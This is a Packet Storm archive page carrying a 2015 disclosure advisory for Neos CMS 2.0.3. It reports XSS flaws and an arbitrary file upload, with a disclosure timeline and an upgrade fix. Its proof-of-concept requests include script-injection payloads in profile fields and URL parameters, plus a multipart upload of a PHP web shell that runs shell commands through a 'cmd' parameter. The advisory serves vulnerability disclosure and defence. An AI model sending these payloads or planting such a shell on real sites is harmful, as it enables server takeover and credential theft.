what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Neos CMS 2.0.3 Cross Site Scripting / Shell Upload

Neos CMS 2.0.3 Cross Site Scripting / Shell Upload
Posted Nov 24, 2015
Authored by Mickael Dorigny

Neos CMS version 2.0.3 suffers from cross site scripting and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss
SHA-256 | 32f565a1e4aa0ba4f3cc4e6ff2e96c53df2ff5dc3c7b30ec6666056d0a5ec619

Neos CMS 2.0.3 Cross Site Scripting / Shell Upload

Change Mirror Download
######################################################################
# Exploit Title: Neos/Flow multiple vulnerabilities
# Date: 24/11/2015
# Author: Mickael Dorigny @ Synetis
# Vendor or Software Link: https://www.neos.io/
# Version: <= 2.0.3
# Category: Multiple Vulnerabilities
# Tested on : Neos 2.0.3
######################################################################

Neos/Flow Content Application Platform description :
======================================================================
Neos is an open source Content Application Platform based on its own PHP framework (Flow). A set of core Content Management features is resting within a larger context that allows to build a customized experience for users.

Vulnerability description :
======================================================================
Neos 2.0.3 is vulnerable to multiple vulnerabilities like :
- Reflected XSS (without authentication)
- multiple Stored-XSS (with authentication as simple user, editor or administrateor)
- Arbitrary File Upload(Editor and Administrator)

Neos is developed in PHP with the Flow PHP Framework which as also been updated.

Proof of Concept n°1 - Reflected Cross-Site Scripting (SXSS) with editor or administrator authentication :
================================================================================================
An user with "Editor" or "Administrator" permissions can modify an article or page content in a way to make execution of JavaScript instructions.

PoC :

An attacker with "Editor" or "Administrator" permissions have to inject JavaScript instruvctions in the edited pagecontent in the modification panel "In-Place" or "Raw" mode. Then, another user reviewing this same content in "Print" or "Desktop" preview mode will executes the JavaScript instruction.

Through this vulnerability, an attacker could tamper with page rendering, redirect victim to fake login page, or capture users credentials such cookies. Moreover, an user with "Editor" privileges can use this vulnerability to steal Administrator cookie to lead privileges escalation in Neos.


Proof of Concept n°2 - Reflected Cross-Site Scripting (SXSS) with user authentication :
================================================================================================
An user who can modify his profile informations "Title", "First Name", "Last name", "Middle Name", "Other Name" can inject Javascript instructions in those parameters.

Once set up, an Administrator who wants to edit this user account and go to "Edit" of this account will executes JavaScript instructions.

PoC :

POST http://webserver/neos/user/usersettings/update HTTP/1.1
Referer: http://webserver/neos/user/usersettings/edit.html

[Vulnerable form input via post data]
[user][title]=<script>alert("SXSS01")</script>
[user][name][firstName]=<script>alert("SXSS02")</script>
[user][name][middleName]=<script>alert("SXSS03")</script>
[user][name][lastName]=<script>alert("SXSS04")</script>
[user][name][otherName]=<script>alert("SXSS05")</script>

Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake login page, or capture users credentials such cookies. Moreover, an user with "Editor" privileges can use this vulnerbility to steal Administrator cookie to lead privileges escalation Neos.

Proof of Concept n°3 - Reflected Cross-Site Scripting (RXSS) without authentication :
================================================================================================
A non-persitent XSS (RXSS) in GET parameter passed during user creation is available in Neos 2.0.3.

When the "newaccount" value is modified for the "--typo3_neosdemotypo3org-registration[@action]" parameter, an error message is displayed. This error message writes back the mispelled value. Then we can inject JavaScript instructions in the "--typo3_neosdemotypo3org-registration[@action]" paramater.

PoC :

http://webserver/neos/en/try-me.html?--typo3_neosdemotypo3org-registration[@package]=typo3.neosdemotypo3org&--typo3_neosdemotypo3org-registration[@controller]=registration&--typo3_neosdemotypo3org-registration[@action]=<script>alert("RXSS")</script>newaccountmispelled

In some implementations of Neos, error message can be hidden via <!-- --> HTML code. In this context, this PoC works, we just have to close the HTML comment in our injection :
http://webserver/neos/en/try-me.html?--typo3_neosdemotypo3org-registration[@package]=typo3.neosdemotypo3org&--typo3_neosdemotypo3org-registration[@controller]=registration&--typo3_neosdemotypo3org-registration[@action]=--><script>alert("RXSS")</script>newaccountmispelled

Through this vulnerability, an attacker could tamper with page rendering, redirect victim to fake login page, or capture users credentials such cookies.

Proof of Concept n°4 - Arbitrary File Upload :
================================================================================================
With an user account with "Editor" or "Administrator", it is possible to upload arbitrary file.

Through this vulnerability, an attacker could upload other type than image file like PHP script. A PHP script can give additional action possibility like executing instructions on the server side.

PoC :

POST http://webserver/neos/management/media/upload?__csrfToken=xxxxxxxxxe3
Type Mime[text/html]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0]
Referer[http://webserver/neos/management/media/]
Content-Type[multipart/form-data; boundary=---------------------------32007199347844]
Données POST:
POST_DATA[-----------------------------32007199347844
Content-Disposition: form-data; name="name"

file.php
-----------------------------32007199347844
Content-Disposition: form-data; name="moduleArguments[asset][resource]"; filename="file.php"
Content-Type: application/octet-stream

<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>
-----------------------------32007199347844--
]

This arbitrary file can then be retrieved through the "Media" panel which gives the full URL to the selected file.

Screenshots :
======================================================================

- http://www.information-security.fr/wp-content/uploads/2015/11/neos-2-0-3-multiple-vulnerabilities-03.jpg
- http://www.information-security.fr/wp-content/uploads/2015/11/neos-2-0-3-multiple-vulnerabilities-05.jpg
- http://www.information-security.fr/wp-content/uploads/2015/11/neos-2-0-3-multiple-vulnerabilities-08.jpg
- http://www.information-security.fr/wp-content/uploads/2015/11/neos-2-0-3-multiple-vulnerabilities-09.jpg
- http://www.information-security.fr/wp-content/uploads/2015/11/neos-2-0-3-multiple-vulnerabilities-12.jpg
- http://www.information-security.fr/wp-content/uploads/2015/11/neos-2-0-3-multiple-vulnerabilities-16.jpg


Solution:
======================================================================

- I suggest to upgrade your Neos installation to the next version (2.0.4) : https://github.com/neos/neos-development-collection/releases/tag/2.0.4

Additional resources :
======================================================================
- Article https://information-security.fr/en/sxss-rxss-arbitrary-file-upload-neos-cms-version-2-0-3
- Video Poc : https://www.youtube.com/watch?v=j0Mli_EQpQo
- Official security fixes for Neos / Flow: https://www.neos.io/news/neos-flow-security-fixes.html

Report timeline :
======================================================================

2015-11-09 : Informed Vendor about issues
2015-11-09 : Vendor response and investigation
2015-11-11 : Vendor feedback concerning new version
2015-11-24 : New version of the product released
2015-11-24 : Public Advisory released

Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr

--
SYNETIS
CONTACT: www.synetis.com | www.information-security.fr
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close